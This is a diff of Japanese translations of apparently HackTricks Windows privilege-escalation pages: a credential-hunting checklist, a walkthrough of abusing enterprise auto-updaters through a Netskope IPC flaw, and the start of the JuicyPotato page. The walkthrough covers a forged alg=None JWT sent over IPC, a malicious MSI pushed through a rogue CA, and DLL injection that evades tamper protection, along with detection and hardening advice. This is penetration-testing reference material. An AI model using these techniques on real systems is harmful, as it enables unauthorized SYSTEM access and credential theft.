- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) が有効か確認する
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) はどうか？
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard) はどうか？[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) はどうか？
- [ ] 存在する [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) を確認する
- [ ] 何か **AV** があるか確認する (https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) はどうか？
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) を確認する
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) を確認する
- [ ] 現在のユーザーの **privileges** を確認する ( [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) )
- [ ] 現在のユーザーの **privileges** を確認する (windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] あなたは [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) か？
- [ ] [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation) があるか確認する: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) を確認する
- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) を確認する（アクセス可否）
- [ ] 次のトークンが有効か確認する (windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) はどうか？
- [ ] Check[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (アクセス権は？)
- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) を確認する
- [ ] クリップボードの中身は何か確認する ([**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard))？
- [ ] クリップボードの中身は何か？ (windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] 現在の [**network information**](windows-local-privilege-escalation/index.html#network) を確認する
- [ ] 外部に制限されている隠れたローカルサービスがないか確認する
- [ ] 現在の [**network** **information**](windows-local-privilege-escalation/index.html#network) を確認する
- [ ] 外部から制限された **hidden local services** を確認する
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] プロセスのバイナリの [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) を確認する
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) を確認する
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) を確認する
- [ ] `ProcDump.exe` を使って興味深いプロセスから資格情報を奪えないか？（firefox, chrome, など）
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] 興味深いプロセスから **ProcDump.exe** などで資格情報を盗めるか？ (firefox, chrome, など)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] どのサービスでも **modify** できるか？ ([Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions))
- [ ] どのサービスでも実行される **binary** を **modify** できるか？ ([Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path))
- [ ] どのサービスの **registry** でも **modify** できるか？ ([Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions))
- [ ] unquoted service binary **path** を利用できないか？ ([Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths))
- [ ] どのサービスでも **modify** できるか？ (windows-local-privilege-escalation/index.html#permissions)
- [ ] どのサービスでも実行される **binary** を **modify** できるか？ (windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] どのサービスの **registry** を **modify** できるか？ (windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] unquoted service binary **path** を悪用できるか？ (windows-local-privilege-escalation/index.html#unquoted-service-paths)
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] インストール済みアプリケーションに対する **Write** 権限がないか？ ([**Write** permissions on installed applications](windows-local-privilege-escalation/index.html#write-permissions))
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) を確認する
- [ ] 脆弱な [**Drivers**](windows-local-privilege-escalation/index.html#drivers) がないか？
- [ ] インストール済みアプリケーションに対する **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] 脆弱な **Drivers** はあるか？ (windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#Path-dll-hijacking)
- [ ] PATH 内の任意のフォルダに書き込みできるか？
- [ ] 存在しない DLL をロードしようとする既知のサービスバイナリはあるか？
- [ ] 任意の **binaries folder** に書き込みできるか？
- [ ] PATH 内の任意のフォルダに **write** できるか？
- [ ] 存在しない DLL を読み込もうとする既知のサービスバイナリはあるか？
- [ ] 任意の **binaries folder** に **write** できるか？
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] ネットワークを列挙する（shares, interfaces, routes, neighbours, ...）
- [ ] localhost (127.0.0.1) でリッスンしているネットワークサービスに特に注意する
- [ ] ネットワークを列挙する (shares, interfaces, routes, neighbours, ...)
- [ ] localhost (127.0.0.1) で待ち受けているネットワークサービスに注目する
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) の資格情報
- [ ] 使用可能な [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) の資格情報はあるか？
- [ ] 興味深い [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) はないか？
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) に使用できる資格情報はあるか？
- [ ] 興味深い [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) はあるか？
- [ ] 保存された [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) のパスワードは？
- [ ] 保存された [**RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) に興味深い情報はあるか？
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) にパスワードはないか？
- [ ] 保存された [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) に興味深い情報はあるか？
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) にパスワードはあるか？
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) のパスワードは？
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)？ 資格情報は？
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)？ DLL Side Loading の可能性は？
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? 資格情報は？
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) はあるか？
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) にパスワードはないか？
- [ ] 何か [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) のバックアップはないか？
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) はないか？
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) ファイルはないか？
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) はないか？
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) にパスワードはないか？
- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs) に興味深い情報はないか？
- [ ] ユーザーに資格情報を [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) したいか？
- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) 内の興味深いファイルは？
- [ ] その他の資格情報を含む [**registry**](windows-local-privilege-escalation/index.html#inside-the-registry) はないか？
- [ ] ブラウザ内のデータ（dbs, history, bookmarks, ...）はどうか？ ([**inside Browser data**](windows-local-privilege-escalation/index.html#browsers-history))
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) にパスワードはあるか？
- [ ] 何か [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) のバックアップはあるか？
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) はあるか？
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) ファイルはあるか？
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) はあるか？
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) にパスワードはあるか？
- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) に興味深い情報はあるか？
- [ ] ユーザーに対して [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) したいか？
- [ ] [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) に興味深いものはあるか？
- [ ] その他の [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)
- [ ] ブラウザ内の [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...) はどうか？
- [ ] ファイルやレジストリ内の [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] パスワードを自動で検索する [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
- [ ] パスワードを自動的に検索する [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)

699
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

96
src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
View File

@ -1,28 +1,28 @@
# エンタープライズのAuto-Updatersと特権IPCの悪用（例：Netskope stAgentSvc）
# エンタープライズ Auto‑Updaters と Privileged IPC の悪用 (e.g., Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
このページでは、低障壁のIPCインターフェースと特権の更新フローを公開するエンタープライズのエンドポイントエージェントやアップデーターに見られる、Windowsのローカル権限昇格チェーンのクラスを一般化します。代表的な例は Netskope Client for Windows < R129 (CVE-2025-0309) で、低権限ユーザーが攻撃者管理下のサーバーへの登録を強制し、その後 SYSTEM サービスがインストールする悪意あるMSIを配信できます。
このページでは、低摩擦な IPC サーフェスと特権付きのアップデートフローを公開しているエンタープライズ向けエンドポイントエージェントやアップデータに見られる、Windows のローカル権限昇格チェーンの一群を一般化して説明します。代表例として Netskope Client for Windows < R129 (CVE-2025-0309) があり、低権限ユーザーが攻撃者管理下のサーバーへの登録（enrollment）を強制し、その後 SYSTEM サービスがインストールする悪意のある MSI を配布できます。
再利用可能な主要な考え方:
- 特権サービスのlocalhost IPCを悪用して、攻撃者サーバーへの再登録や再構成を強制する。
- ベンダーの更新エンドポイントを実装し、不正なTrusted Root CAを配布して、updaterを悪意ある「署名済み」パッケージに向ける。
- 弱い署名者チェック（CN allow‑lists）、オプションのダイジェストフラグ、緩いMSIプロパティを回避する。
- IPCが「暗号化」されている場合、レジストリに保存された世界読み取り可能なマシン識別子からキー/IVを導出する。
- サービスがイメージパス／プロセス名で呼び出し元を制限している場合、allow‑listedなプロセスに注入するか、サスペンドで起動して最小限のスレッドコンテキストパッチでDLLをブートストラップする。
再利用可能な主なアイデア:
- 特権サービスの localhost IPC を悪用して、攻撃者サーバーへの再登録や再設定を強制する。
- ベンダーの update endpoints を実装し、rogue Trusted Root CA を配布して、updater を悪意のある “signed” パッケージへ向ける。
- 弱い signer チェック（CN allow‑lists）、任意の digest フラグ、および緩い MSI プロパティを回避する。
- IPC が “encrypted” 場合、registry に保存された world‑readable な機械識別子から key/IV を導出する。
- サービスが image path/process name によって呼び出し元を制限する場合は、allow‑listed プロセスへインジェクトするか、プロセスを suspended で生成して最小限の thread‑context patch により DLL をブートストラップする。
---
## 1) localhost IPC を介した攻撃者サーバーへの登録強制
## 1) localhost IPC を介して攻撃者サーバーへの登録を強制する
多くのエージェントは、ユーザーモードのUIプロセスを提供しており、JSONを使ってlocalhostのTCP経由でSYSTEMサービスと通信します。
多くのエージェントはユーザーモードの UI プロセスを同梱し、JSON を使って SYSTEM サービスと localhost TCP 上で通信します。
Netskopeでの観測:
Netskope での観測例:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
エクスプロイトの流れ:
1) バックエンドホスト（例：AddonUrl）を制御するクレームを持つJWTの登録トークンを作成します。署名が不要になるようにalg=Noneを使用します。
2) JWTとテナント名を使ってプロビジョニングコマンドを呼び出すIPCメッセージを送信します:
Exploit flow:
1) claims でバックエンドホストを制御できる JWT 登録トークンを作成する（例: AddonUrl）。署名は不要なので alg=None を使用する。
2) provisioning コマンドを呼び出す IPC メッセージにあなたの JWT と tenant 名を載せて送信する:
```json
{
"148": {
@ -31,86 +31,86 @@ Netskopeでの観測:
}
}
```
3) サービスが登録/設定のためにあなたの悪意あるサーバーにアクセスし始める。例：
3) サービスが登録/構成取得のためにあなたの不正なサーバーへアクセスし始める。例：
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Notes:
- 呼び出し元の検証が path/name‑based の場合、リクエストは許可リストに載った vendor binary から発信すること（§4参照）。
- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).
---
## 2) アップデートチャネルをハイジャックして SYSTEM としてコードを実行する
## 2) Hijacking the update channel to run code as SYSTEM
クライアントがあなたのサーバーと通信したら、期待されるエンドポイントを実装し、攻撃者の MSI に誘導する。典型的なシーケンス：
Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
1) /v2/config/org/clientconfig → 非常に短い更新間隔の JSON 設定を返す。例：
1) /v2/config/org/clientconfig → 非常に短い更新間隔を持つJSON configを返す。例：
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → Return a PEM CA certificate. サービスはそれをローカル マシンの Trusted Root ストアにインストールします。
3) /v2/checkupdate → 悪意のある MSI と偽のバージョンを指すメタデータを提供します。
2) /config/ca/cert → PEM CA certificate を返す。サービスはそれを Local Machine Trusted Root store にインストールする。
3) /v2/checkupdate → 悪意のある MSI と偽のバージョンを指すメタデータを返す。
Bypassing common checks seen in the wild:
- Signer CN allow‑list: サービスは Subject CN が “netSkope Inc” または “Netskope, Inc.” と等しいかだけをチェックするかもしれません。あなたの rogue CA はその CN を持つ leaf を発行して MSI に署名できます。
- CERT_DIGEST property: CERT_DIGEST という名前の無害な MSI プロパティを含める。インストール時に強制されないことが多いです。
- Optional digest enforcement: config フラグ (例: check_msi_digest=false) が追加の暗号検証を無効にします。
- Signer CN allow‑list: サービスは Subject CN が “netSkope Inc” または “Netskope, Inc.” と等しいかだけを確認する場合がある。あなたの rogue CA はその CN を持つ leaf を発行して MSI に署名できる。
- CERT_DIGEST property: CERT_DIGEST という名前の無害な MSI プロパティを含める。インストール時に強制されない。
- Optional digest enforcement: 設定フラグ（例: check_msi_digest=false）が追加の暗号検証を無効にする。
結果: SYSTEM サービスは C:\ProgramData\Netskope\stAgent\data\*.msi からあなたの MSI をインストールし、NT AUTHORITY\SYSTEM として任意のコードを実行します。
Result: SYSTEM サービスは C:\ProgramData\Netskope\stAgent\data\*.msi からあなたの MSI をインストールし、NT AUTHORITY\SYSTEM として任意のコードを実行する。
---
## 3) Forging encrypted IPC requests (when present)
R127 以降、Netskope は IPC JSON を encryptData フィールド（Base64 に見える）でラップしていました。リバースで、任意のユーザーが読み取れるレジストリ値から派生した key/IV を使う AES であることが判明しました:
R127 以降、Netskope は IPC JSON を Base64 に見える encryptData フィールドでラップしていた。リバースでは、AES がレジストリ値から派生した key/IV を使っていることが判明した（これらは任意のユーザーで読み取り可能）:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
攻撃者は暗号化を再現して標準ユーザーから有効な暗号化コマンドを送信できます。一般的なヒント: エージェントが突然 IPC を「暗号化」し始めたら、HKLM にある device ID、product GUID、install ID などを探してください。
攻撃者はこの暗号化を再現して標準ユーザーから有効な暗号化コマンドを送信できる。一般的なヒント: エージェントが突然 IPC を「暗号化」し始めたら、HKLM 以下の device ID、product GUID、install ID 等を鍵材として探せ。
---
## 4) Bypassing IPC caller allow‑lists (path/name checks)
一部のサービスは TCP 接続の PID を解決し、イメージのパス/名前を Program Files 以下の allow‑list にあるベンダーのバイナリ（例: stagentui.exe, bwansvc.exe, epdlp.exe）と比較してピアを認証しようとします。
一部のサービスは TCP 接続の PID を解決してピアを認証し、Program Files 配下の allow‑listed ベンダー実行ファイル（例: stagentui.exe, bwansvc.exe, epdlp.exe）のイメージパス／名前と比較する。
現実的なバイパス手法は二つ:
実用的なバイパス例:
- allow‑listed プロセス（例: nsdiag.exe）への DLL injection を行い、その内部から IPC をプロキシする。
- allow‑listed バイナリを suspended で起動し、CreateRemoteThread を使わずにプロキシ DLL をブートストラップしてドライバーが強制する改ざん防止ルールを満たす（§5 を参照）。
- allow‑listed バイナリを CREATE_SUSPENDED で起動し、CreateRemoteThread を使わずにプロキシ DLL をブートストラップして、ドライバーによる改ざん防止ルールを満たす（see §5）。
---
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
製品はしばしば minifilter/OB callbacks ドライバー（例: Stadrv）を同梱し、保護されたプロセスのハンドルから危険な権限を削ります:
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
製品はしばしば minifilter/OB callbacks ドライバー（例: Stadrv）を同梱し、保護されたプロセスのハンドルから危険な権限を取り除く:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME を削除
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE に制限
これらの制約を尊重する信頼できるユーザーモードローダー:
これらの制約を尊重する信頼できる user‑mode ローダーの手順:
1) ベンダーのバイナリを CREATE_SUSPENDED で CreateProcess する。
2) 取得可能なハンドルを取る: プロセスに対して PROCESS_VM_WRITE | PROCESS_VM_OPERATION、スレッドに対しては THREAD_GET_CONTEXT/THREAD_SET_CONTEXT（または既知の RIP にコードをパッチするなら THREAD_RESUME のみでも可）。
3) ntdll!NtContinue（またはその他の早期に確実にマップされるスラスト）を上書きし、あなたの DLL パスで LoadLibraryW を呼び、その後戻る小さなスタブに置き換える。
4) ResumeThread してプロセス内でスタブを発動させ、DLL をロードさせる。
2) まだ取得可能なハンドルを得る: プロセスに対して PROCESS_VM_WRITE | PROCESS_VM_OPERATION、スレッドに対して THREAD_GET_CONTEXT/THREAD_SET_CONTEXT（または既知の RIP にコードパッチを当てるなら THREAD_RESUME のみ）。
3) ntdll!NtContinue（またはその他の早期に確実にマップされるスローシンク）を、あなたの DLL パスで LoadLibraryW を呼び、その後ジャンプバックする小さなスタブで上書きする。
4) ResumeThread してプロセス内でスタブをトリガーし、DLL をロードさせる。
既に保護されたプロセスに対して PROCESS_CREATE_THREAD や PROCESS_SUSPEND_RESUME を使っていない（あなたがプロセスを作成した）ため、ドライバーのポリシーは満たされます。
あなたは既に保護されたプロセスに対して PROCESS_CREATE_THREAD や PROCESS_SUSPEND_RESUME を使っていない（自分で作成した）ため、ドライバーのポリシーは満たされる。
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) は rogue CA、悪意のある MSI 署名、自動で必要なエンドポイントを提供する（/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate）。
- UpSkope は任意（オプションで AES‑encrypted）IPC メッセージを作成するカスタム IPC クライアントで、suspended‑process 注入を含み、allow‑listed バイナリから発信させる機能を持ちます。
- NachoVPN (Netskope plugin) は rogue CA、悪意のある MSI の署名、自動化されたエンドポイント (/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate) の提供を自動化する。
- UpSkope は任意（オプションで AES 暗号化）の IPC メッセージを作成できるカスタム IPC クライアントで、allow‑listed バイナリから発信するための suspended‑process 注入も含む。
---
## 7) Detection opportunities (blue team)
- Local Machine Trusted Root への追加を監視する。Sysmon + registry‑mod eventing（SpecterOps のガイダンス参照）が有効です。
- エージェントのサービスから C:\ProgramData\<vendor>\<agent>\data\*.msi のようなパスで開始される MSI 実行をフラグする。
- エージェントのログをレビューして予期しない enrollment hosts/tenants を探す。例: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant の異常や provisioning msg 148 を確認する。
- 期待される署名済みバイナリでない、または異常な子プロセスツリーから発生する localhost IPC クライアントをアラートする。
- Local Machine Trusted Root への追加を監視する。Sysmon + registry‑mod eventing（SpecterOps のガイダンス参照）が有効。
- C:\ProgramData\<vendor>\<agent>\data\*.msi のようなパスからエージェントのサービスによって開始された MSI 実行をフラグ付けする。
- エージェントログを確認して予期しない enrollment ホスト／テナントを探す。例: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant の異常や provisioning msg 148 を確認。
- 期待される署名済みバイナリではない、あるいは通常とは異なる子プロセスツリーから発生する localhost IPC クライアントをアラートする。
---
## Hardening tips for vendors
- enrollment/update ホストを厳格な allow‑list に束縛し、clientcode で信頼されていないドメインを拒否する。
- 画像パス/名前チェックの代わりに OS プリミティブ（ALPC security、named‑pipe SIDs）で IPC ピアを認証する。
- 秘密情報を world‑readable な HKLM に置かない。IPC を暗号化する必要があるなら、保護されたシークレットから鍵を導出するか、認証済みチャネルでネゴシエートすること。
- updater をサプライチェーンの攻撃面として扱う: 信頼する CA への完全なチェーンを要求し、パッケージ署名をピン留めした鍵で検証し、設定で検証が無効になっている場合は fail closed する。
- enrollment/update ホストを厳格な allow‑list に縛り、clientcode 内で信頼できないドメインを拒否する。
- IPC ピアを image path/name チェックではなく OS のプリミティブ（ALPC security、named‑pipe SIDs 等）で認証する。
- 秘密情報を world‑readable な HKLM に置かないこと。もし IPC を暗号化するなら、保護されたシークレットから鍵を派生するか、認証済みチャネル上でネゴシエートする。
- updater をサプライチェーン上の攻撃面として扱う: あなたが管理する信頼できる CA への完全なチェーンを要求し、パッケージ署名をピン留めした鍵に対して検証し、設定で検証が無効化されている場合は fail closed する。
## References
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)

104
src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
View File

@ -2,58 +2,58 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > JuicyPotato はレガシーです。一般的に Windows 10 1803 / Windows Server 2016 までのバージョンで動作します。Windows 10 1809 / Server 2019 以降で導入された Microsoft のハードニングによって元の手法は動作しなくなりました。これら以降のビルドでは PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotato などのモダンな代替手段を検討してください。最新のオプションと使用法については下のページを参照してください。
> [!WARNING] > JuicyPotatoはレガシーです。通常はWindows 10 1803 / Windows Server 2016までのバージョンで動作します。MicrosoftがWindows 10 1809 / Server 2019以降で導入した変更により元の手法は破壊されました。これら以降のビルドでは、PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotatoなどの現代的な代替手段を検討してください。最新のオプションと使用法については下のページを参照してください。
{{#ref}}
roguepotato-and-printspoofer.md
{{#endref}}
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato (ゴールデン特権の悪用) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
_甘くしたバージョンの_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, 少しのjuiceを加えた、すなわち **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
#### juicypotatoは[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)からダウンロードできます
### Compatibility quick notes
### 互換性 — 簡単な注意点
- 現在のコンテキストが SeImpersonatePrivilege または SeAssignPrimaryTokenPrivilege を持っている場合、Windows 10 1803 および Windows Server 2016 までで安定して動作します。
- Windows 10 1809 / Windows Server 2019 以降での Microsoft によるハードニングによって破壊されています。これらのビルドでは上で挙げた代替手段を優先してください。
- 現在のコンテキストが SeImpersonatePrivilege または SeAssignPrimaryTokenPrivilege を持っている場合、Windows 10 1803 と Windows Server 2016 まで安定して動作します。
- Windows 10 1809 / Windows Server 2019 以降での Microsoft のハードニングにより動作しません。これらのビルドでは上記の代替手段を推奨します。
### Summary <a href="#summary" id="summary"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) は、[`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) が `127.0.0.1:6666` で MiTM リスナーを持ち、かつ `SeImpersonate` または `SeAssignPrimaryToken` 権限がある場合に基づく権限昇格チェーンを利用します。Windows のビルドレビューの際に、`BITS` が意図的に無効化され、ポート `6666` が使用されている設定を見つけました。
We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
そこで [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) を武器化しました。**Juicy Potatoの登場です**。
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
> 理論については [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) を参照し、リンクと参照のチェーンを辿ってください。
我々は `BITS` 以外にも悪用できる COM サーバが複数存在することを発見しました。これらは以下を満たす必要があります:
我々は、`BITS` 以外にも悪用できるいくつかのCOMサーバーが存在することを発見しました。これらは次の条件を満たす必要があります:
1. 現在のユーザからインスタンス化可能であること（通常はインパーソネーション権限を持つ“service user”）
2. `IMarshal` インターフェイスを実装していること
3. エレベートされたユーザ（SYSTEM、Administrator、…）として実行されていること
1. 現在のユーザーによってインスタンス化可能であること。通常はインパーソネーション権限を持つ“service user”（サービスユーザー）。
2. `IMarshal` インターフェースを実装していること
